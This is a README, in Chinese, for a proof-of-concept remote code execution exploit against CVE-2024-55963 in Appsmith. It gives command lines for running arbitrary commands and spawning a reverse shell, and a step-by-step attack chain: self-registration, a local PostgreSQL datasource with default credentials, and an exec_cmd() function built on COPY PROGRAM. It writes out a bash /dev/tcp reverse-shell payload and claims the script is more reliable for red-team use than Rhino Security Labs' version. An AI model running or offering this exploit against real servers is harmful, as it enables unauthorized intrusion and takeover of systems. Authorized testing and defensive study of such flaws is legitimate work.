针对 CVE‑2024‑55963 的 PoC 漏洞利用,可在受影响的 Appsmith 实例上执行任意命令或生成反弹 shell。
它自动兼容现代服务器(具备 environmentId 功能)以及早于该功能的“旧版”构建,因此一个脚本即可覆盖从 v1.20 到最后一个受影响版本 v1.51 的所有版本。
# Run an arbitrary command (default is `id`)
python3 appsmith-rce.py https://target.example.com [email protected] password123 "whoami"
# spawn a reverse shell
python3 appsmith-rce.py https://target.example.com [email protected] password123 -revshell <ip> <port>
注意: 只要服务器允许自助注册,任意凭据均可使用。 脚本会先尝试登录,如果账户不存在则回退到注册流程。
/api/v1/environments/workspaces/{id};如果不存在则切换至旧版模式(environmentId 为空)。/api/v1/applications 发送 POST 请求并提取 pageId。localhost:5432 的本地 PostgreSQL 数据源,使用 postgres/postgres 凭据(受影响的默认 pg_hba.conf 允许该操作)。exec_cmd() 以及一个用于收集 STDOUT 的临时表 cmd_output。/api/v1/actions/execute 端点运行 SELECT * FROM exec_cmd('<your cmd>')bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'requests| Appsmith 版本 | 结果 |
|---|---|
| 1.51 | ✅ RCE |
| 1.45 | ✅ RCE |
| 1.30 | ✅ RCE,旧版路径 |
| 1.52+ | ❌ 已修复 – 函数创建失败 |
这个 PoC 是对 Rhino Security Labs 漏洞利用的一点增强(我在评审该研究时并未意识到他们已经发布了公开 PoC)。
Rhino 的 PoC 使用静态的 headers、cookies 和凭据。在测试该漏洞利用时,当特定版本上账户已存在时我遇到了问题。此脚本允许用户通过命令行输入他们选择的任意邮箱/密码组合。如前所述,CSRF 令牌是从服务器提取的,而不是依赖硬编码值。
Environments API 端点的旧服务器。exec_cmd() 的 PL/pgSQL 包装器中使用 COPY PROGRAM,并通过 /actions/execute API 执行,但这可以说噪声更大。Rhino 依赖内置的 schema 预览端点来发出临时的 COPY (SELECT …) 语句。该端点会截断输出长度并增加额外的引号规则,因此长命令或链式 payload 更难传递。pyfiglet 依赖environmentId 头来支持旧服务器。Rhino 的漏洞利用假设该头始终存在。这些设计选择共同使该漏洞利用更简短、更可靠,并且对红队使用更友好,同时仍然演示了相同的底层漏洞。
此代码仅用于教育和授权测试。对您不拥有或未经明确许可的系统运行该代码很可能是非法的。作者对滥用行为不承担任何责任。